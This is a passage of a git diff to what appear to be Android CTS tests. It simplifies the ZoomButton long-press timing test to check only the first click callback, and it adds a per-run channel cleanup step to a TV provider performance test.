-        final long actualTimeUntilFirstInvocationNs = callbackInvocations.get(0) - startTime;
-        assertTrue("First callback not during long press timeout was " +
-                        actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI +
-                        " while long press timeout is " + minTimeUntilFirstInvocationMs,
-                (callbackInvocations.get(0) - startTime) >
-                        minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
-
-        // Verify that subsequent callbacks are at least zoom-speed milliseconds apart. Note that
-        // we do not have any hard guarantee about the max limit on the time between successive
-        // callbacks.
-        final long minTimeBetweenInvocationsNs = zoomSpeedMs * NANOS_IN_MILLI;
-        if (callbackInvocations.size() > 1) {
-            for (int i = 0; i < callbackInvocations.size() - 1; i++) {
-                final long actualTimeBetweenInvocationsNs =
-                        (callbackInvocations.get(i + 1) - callbackInvocations.get(i)) *
-                                NANOS_IN_MILLI;
-                assertTrue("Callback " + (i + 1) + " happened " +
-                                actualTimeBetweenInvocationsNs / NANOS_IN_MILLI +
-                                " after the previous one, while zoom speed is " + zoomSpeedMs,
-                        actualTimeBetweenInvocationsNs > minTimeBetweenInvocationsNs);
-            }
-        }
-    }
-
-    @LargeTest
-    @Test
-    public void testOnLongClick() {
-        // Since Mockito doesn't have utilities to track the timestamps of method invocations,
-        // we're using our own custom click listener for that. We want to verify that the
-        // first listener invocation was after long press timeout, and the rest were spaced
-        // by at least our zoom speed milliseconds
-
-        mZoomButton.setEnabled(true);
-        ZoomClickListener zoomClickListener = new ZoomClickListener();
-        mZoomButton.setOnClickListener(zoomClickListener);
-
-        verifyZoomSpeed(zoomClickListener, 2000);
-    }
-
     @LargeTest
     @Test
     public void testSetZoomSpeed() {
-        final long[] zoomSpeeds = { 100, -1, 5000, 1000, 2500 };
+        final long[] zoomSpeeds = { 0, 100 };
         mZoomButton.setEnabled(true);
         ZoomClickListener zoomClickListener = new ZoomClickListener();
         mZoomButton.setOnClickListener(zoomClickListener);
 
         for (long zoomSpeed : zoomSpeeds) {
-            // Reset the tracker list of our listener, but continue using it for testing
+            // Reset the tracking state of our listener, but continue using it for testing
             // various zoom speeds on the same ZoomButton
             zoomClickListener.reset();
-            verifyZoomSpeed(zoomClickListener, zoomSpeed);
+
+            mZoomButton.setZoomSpeed(zoomSpeed);
+
+            final long startTime = System.nanoTime();
+            // Emulate long click
+            long longPressWait = ViewConfiguration.getLongPressTimeout()
+                    + zoomSpeed + 100;
+            CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mZoomButton,
+                    longPressWait);
+
+            final Long callbackFirstInvocationTime = zoomClickListener.getTimeOfFirstClick();
+            assertNotNull("Expecting at least one callback", callbackFirstInvocationTime);
+
+            // Verify that the first callback is fired after the system-level long press timeout.
+            final long minTimeUntilFirstInvocationMs = ViewConfiguration.getLongPressTimeout();
+            final long actualTimeUntilFirstInvocationNs = callbackFirstInvocationTime - startTime;
+            assertTrue("First callback not during long press timeout was "
+                            + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI
+                            + " while long press timeout is " + minTimeUntilFirstInvocationMs,
+                    (callbackFirstInvocationTime - startTime)
+                            > minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
+            assertTrue("First callback should have happened sooner than "
+                            + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI,
+                    (callbackFirstInvocationTime - startTime)
+                            <= (minTimeUntilFirstInvocationMs + 100) * NANOS_IN_MILLI);
         }
     }
 
     private static class ZoomClickListener implements View.OnClickListener {
-        private List<Long> mClickTimes = new ArrayList<>();
+        private Long mTimeOfFirstClick = null;
 
         public void reset() {
-            mClickTimes.clear();
+            mTimeOfFirstClick = null;
         }
 
-        public List<Long> getClickTimes() {
-            return Collections.unmodifiableList(mClickTimes);
+        public Long getTimeOfFirstClick() {
+            return mTimeOfFirstClick;
         }
 
         public void onClick(View v) {
-            // Add the current system time to the tracker list
-            mClickTimes.add(System.nanoTime());
+            if (mTimeOfFirstClick == null) {
+                // Mark the current system time as the time of first click
+                mTimeOfFirstClick = System.nanoTime();
+            }
         }
     }
 }
diff --git a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
index e9c7ae0..e18df4c 100644
--- a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
+++ b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
@@ -86,6 +86,11 @@
         final int TRANSACTION_SIZE = 1000;
         double[] applyBatchTimes = MeasureTime.measure(TRANSACTION_RUNS, new MeasureRun() {
             @Override
+            public void prepare(int i) {
+                mContentResolver.delete(Channels.CONTENT_URI, null, null);
+            }
+
+            @Override
             public void run(int i) {
                 operations.clear();
                 for (int j = 0; j < TRANSACTION_SIZE; ++j) {